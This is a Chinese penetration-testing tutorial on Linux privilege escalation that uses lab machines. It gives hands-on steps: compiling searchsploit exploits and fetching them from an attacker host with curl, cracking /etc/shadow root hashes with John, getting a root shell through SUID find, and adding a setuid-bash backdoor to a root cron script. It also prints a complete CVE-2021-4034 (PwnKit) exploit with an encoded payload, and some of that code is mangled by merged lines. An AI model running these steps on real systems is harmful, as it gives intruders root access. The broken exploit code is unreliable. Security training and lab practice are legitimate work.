渗透时Linux系统该如何提权?
Linux系统目录
- 一、提权手段总结
- 1.1 内核提权(基础提权)
- 1.1.1 对目标靶机进行信息收集
- 1.1.2 searchsploit工具的利用
- 1.1.3 将exp文件上传至目标靶机
- 1.2 John破解提权
- 1.2.1 获取shadow结合passwd进行破解
- 1.2.1 直接获取root用户的密码哈希值进行破解
- 1.3 mysql内部数据提权
- 1.3.1 弱口令进入mysql
- 1.4 执行目录提权
- 1.5 寻找文件提权
- 1.6 计划任务提权(需要有权限修改计划任务)
- 1.7 根据查询工具结合提权文件提权
- 1.8 最新漏洞提权(例如CVE-2021-4034 )
- 二、提权工具总结
- 2.1 GTFOBins & LOLBAS(windows)
- 2.2 Linux-exploit-suggester 提权查询
- 2.3 GTFO
- 2.4 LinEnum
- 2.5 Linux Smart Enumeration
- 2.6 Vulmap
- 2.7 网站推荐
一、提权手段总结
1.1 内核提权(基础提权)
1.1.1 对目标靶机进行信息收集
uname -a 查看内核文件
lsb_release -a 查看发行版本
cat /etc/issue 查看发行版本
1.1.2 searchsploit工具的利用
利用kali自带的searchsploit工具对内核进行查询,找到exp文件进行反编译,这里我们就利用2.10的内核做个例子:
searchsploit 2.10.0
这里我们假设对应版本是“ProFTPd 1.2.10 - Remote Users Enumeration”
这个c源码保存到当前目录底下
searchsploit 2.10 linux/remote/581.c -m
对.c源码进行编译
gcc 581.c -o exp #编译
1.1.3 将exp文件上传至目标靶机
我们可以在kali环境中开一个python服务器,这样靶机直接访问文件地址,便可直接下载exp文件,然后给文件执行权限
#kali中exp目录下执行该命令:
python3 -m http.server 80
#获取192.168.92.130/exp 文件并保存名为exp:
curl http://192.168.92.130/exp -o exp
#给exp文件添加执行权限
chmod +x exp
#运行exp文件(我这边靶机不存在该漏洞所以就不执行了)
./exp
1.2 John破解提权
1.2.1 获取shadow结合passwd进行破解
这边John爆破主要是获取到/etc/shadow这个文件,这个文件只允许root可读的,
但是在某些情况下可以得到这个文件,如果我们能够得到/etc/shadow 文件的内容,
我们有很大概率能破解根用户的密码哈希值。
有时候在某些awd竞赛中给出shadow这个文件,
(当有权限修改shadow的时候,我们也可以修改root密码的哈希值,修改成我们自己知道的)
有时候是结合find文件去获取例如find有权限但并不能正常的/bin/bash或者其他情况
find /etc -name "shadow" -exec cat {} \;
例如靶场(Escalate_Linux)访问他的8000端口便可未授权下载这个文件
读取到了shadow文件,再获取/etc/passwd这个文件
通过unshadow将两者结合
unshadow passwd shadow > newexp
再通过john破解得到root密码
(此处密码设置简单所以会快,如果复杂一些就得话稍微长点时间了)
John newexp
1.2.1 直接获取root用户的密码哈希值进行破解
(注意:John这个工具的一个规则是第一次爆破后便不能重复爆破这个shadow,如果想查看上一次爆破的结果,可以使用:john --show shadow 查看)
得到hash值:
head -n 1 /etc/shadow
root:$6$lQgBvb6T$bQLqQ5IogUYQsRi0ZRYep0RDKVDZReVMt27FbKd15AdV8GE2cUvS6yhzDZLYoYBEiq9MkQvvHbq/ajbpmdLhP1:18950:0:99999:7:::
将其命名保存进行破解:
(为了更好的排版换行了)
echo 'root:$6$lQgBvb6T$bQLqQ5IogUYQsRi0ZRYep
0RDKVDZReVMt27FbKd15AdV8GE2cUvS6yhzDZLY
oYBEiq9MkQvvHbq/ajbpmdLhP1:18950:0:99999:7:::' > 'hacker.txt'
然后将hacker.txt在kali中利用john跑密码本破解
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hacker.txt
1.3 mysql内部数据提权
这边利用靶场(Escalate_Linux)进行测试
这边对目标靶机进行nmap扫描,通过后门结合msf的/script/web_delivery进入交互页面
1.3.1 弱口令进入mysql
到mysql目录中查询网站目录表或者其他关键表
通过查询user数据库中的表发现了mysql用户的密码,通过ssh进行登录,发现mysql用户的权限也很低,但是至少通过用户ssh进来了,
猜测性的登录root发现密码是:root@12345 ,其他的用户也是用户名+@12345
(有时候root用户的密码便在这里,这里只放了mysql的也许是需要你去猜测,就不做继续的提权,因为涉及了其他的提权点)
1.4 执行目录提权
可以通过以下命令用来提权的:
三者的目的都一样
·
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
find / -user root -perm -4000 -print 2>/dev/null
`
若有find命令的高权限可到/tmp下创建一个文件然后通过该文件提权
cd /tmp
touch a
find a -exec /bin/bash \; -quit
1.5 寻找文件提权
依旧可以用到这串查询语句,这里的靶机依旧是(Escalate_Linux)
find / -perm -u=s -type f 2>/dev/null
查询到这些能提权的文件便能直接提权,例如利用**/home/user3/shell这个文件提权,执行后直接变成root权限
或者我们可以利用/home/user5/script**一般script这类文件跟某些命令或者环境变量都有紧密的关系,可以先执行script,发现其跟ls列出目录的结果是一致的,那我们的思路就是将ls命令换成执行/bin/bash,直接获取权限
我们这边便在/tmp目录下创建一个指定写入”/bin/bash“的ls文件,并且赋予权限,再将/tmp这个文件夹写入
1.6 计划任务提权(需要有权限修改计划任务)
通俗的来讲就是root用户创建了一个定时任务,比如10s执行一个sh脚本,例如一个脚本名为shell.sh功能是将echo “I will automate the process” >abc.txt,那这个autoscript.sh的权限所有是root用户的,这个时候只要你将命令内容写入到这个文件中,理论上执行时便会以root权限执行这个命令,但是我这里不知道为啥有些问题,但是思路是这样的。
添加权限(如果可以的话)
chmod o=rw /home/user4/autoscript.sh
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" >> autoscript.sh
1.7 根据查询工具结合提权文件提权
利用github这个提权工具,结果会出现在下方,有几率破解的exp文件链接将按照概率从大到小一一展示,只需要去对应链接下载,(有些是c源码需要编译)
这边提示的便是利用1.8的最新的这个漏洞,很显然这个exp可以直接提权上root
1.8 最新漏洞提权(例如CVE-2021-4034 )
该漏洞影响较大,且直接允许便可获取最高权限,这里用2021年kali做个测试,利用python3运行
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfilepayload = zlib.decompress(base64.b64decode("""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""")
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_twd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write("module UTF-8// INTERNAL ../pwn 2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [b"gconv",b"PATH=GCONV_PATH=.",b"LC_MESSAGES=en_US.UTF-8",b"XAUTHORITY=../gconv",b"",
]cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)
二、提权工具总结
2.1 GTFOBins & LOLBAS(windows)
如果你忘记了linux某些命令的提权方法,可以到这个两个网站查询
https://gtfobins.github.io/ #GTFOBins
https://lolbas-project.github.io/ #LOLBAS
2.2 Linux-exploit-suggester 提权查询
下载地址:
https://github.com/mzet-/linux-exploit-suggester
命令:
指定内核版本,用法类似于searchsploit,若不接后面参数 -k [版面号] 则检测的是本机提权信息
./Linux_Exploit_Suggester.pl -k 2.6.28
2.3 GTFO
其实就是一个快捷用于搜索GTFOBins和LOLBAS上的二进制文件的工具。
下载地址:
https://github.com/mzfr/gtfo
2.4 LinEnum
这个工具真的是爱了,这个工具直接帮你把关键的信息全都提取出来,直接就是过一遍上面说的提权方法,都不用自己一步步去找浅显的提权文件,这个软件直接给你找出提权点直接就可以去提权了。
https://github.com/rebootuser/LinEnum
2.5 Linux Smart Enumeration
一个也很完美的bash提权工具
执行:
bash lse.sh
下载地址:
https://github.com/diego-treitos/linux-smart-enumeration
操作如下图,简单易懂,非常容易上手的好工具
2.6 Vulmap
个人感觉跟 Linux-exploit-suggester 属于一类但是没有他强,区别差不多就是这个工具弱一些,是用python编写的,兼容的python版本多,python2、python3都能跑。
下载地址:
https://github.com/vulmon/Vulma
2.7 网站推荐
最新漏洞的相关情况:
https://www.exploit-db.com/
https://dirtycow.ninja/#
渗透时Linux系统该如何提权?相关推荐
- 内网中入侵linux系统,MSSQL 入侵提权之内网渗透案例分析
图文:udb311 主题:MSSQL内网渗透案例分析 发表:黑白前线 描述:对于内网渗透技术一直感觉很神秘,手中正巧有一个webshell是内网服务器.借此机会练习下内网入侵渗透技术!本文敏感信息以屏 ...
- Linux系统漏洞本地提权
目录 一.实验项目名称 二.实验目的 三.实验内容 四.实验环境
- linux root权限_Linux 提权技术
通过这篇文章,你讲了解到一下知识: 什么是提权? 为什么要提权? Linux 提权方法有哪些? 什么是提权? 一次完整的渗透测试流程,应该包含 主机发现 > 服务枚举 > 实施攻击 > ...
- 内网渗透总结一:第一步提权
文章出处:奇安信攻防社区-实战遇见到的好用提权方法合集 (butian.net) 权限提升全集 写在前面 权限提升对我们在深度渗透过程中起着重要作用,接下来我将介绍web提权.本地提权.数据库提权.l ...
- Linux之sudo滥用提权
目录 关于sudo Sudoer文件语法 sudo提权命令 awk find cat zip git ed 案例 关于sudo sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者 ...
- Windows与Linux的MYSQL UDF提权分析
原理分析 什么是UDF 所谓UDF 就是user define function的简称,就是用户自定义函数,用户可以添加函数到mysql中实现功能的扩充,调用方法和一般函数一样类似于database( ...
- 一次实战 WIFI 渗透小米4A千兆路由器提权开 telnet
一次WIFI渗透小米4A千兆路由器提权开telnet 到朋友家里,手机信号太差了,于是想连个wifi网络.苦于没有Wi-Fi密码,于是这篇文章便有了着落. 1. 网络嗅探 打开手机 WIFI 发现周围 ...
- Kali Linux渗透测试--windows 10入侵和提权过程
在进行入侵检测之前,配置好网络环境,使其相互连通,才能进行入侵.在使用Metasploit成功入侵之后拿到的只是一个基础的shell,要想拿到系统级别的shell,添加系统用户,获取用户登录口令,还需 ...
- 后渗透篇:Windows 2008 server提权之突破系统权限安装shift后门
当你的才华 还撑不起你的野心时 那你就应该静下心来学习 目录 Windows 2008 server提权之突破系统权限安装shift后门 0x01 前言 0x02 主要操作部分 0x03 主要命令组成 ...
最新文章
- 报告解读|远程银行:从扎根网络到加速上云
- 洛谷 - P2763 试题库问题(最大流+路径打印)
- Alibaba 开源工具 Arthas 使用
- JdbcTemplate(概念和准备)
- 典型海洋环境观测数据产品应用现状及对我国的启示
- KNIME二次开发的环境配置安装过程
- stm32f103c8t6最小系统电路原理图_嵌入式单片机之STM32F103C8T6最小系统板电路设计参考...
- python报错RuntimeError: This event loop is already running
- windows--reg--向注册表中写入一些数据
- mysql索引下推原理_mysql的索引下推理解和实践
- Dining POJ - 3281
- 把执行结果转成json对象报错_给Hangfire的webjob增加callback和动态判断返回结果功能设计...
- oracle 11g新特性之IPS Packing demonstration
- java面试之反射机制
- CSDN账号 账号设置
- Hello, World——从零到实盘0
- 知识小结------数据分析------Fisher‘s exact test(费希尔检测)
- B+树在MySQL索引的应用和InnoDB的索引优化
- [学位]燕山大学中文学术期刊目录(2020修订版)
- RHCE之搭建DNS服务器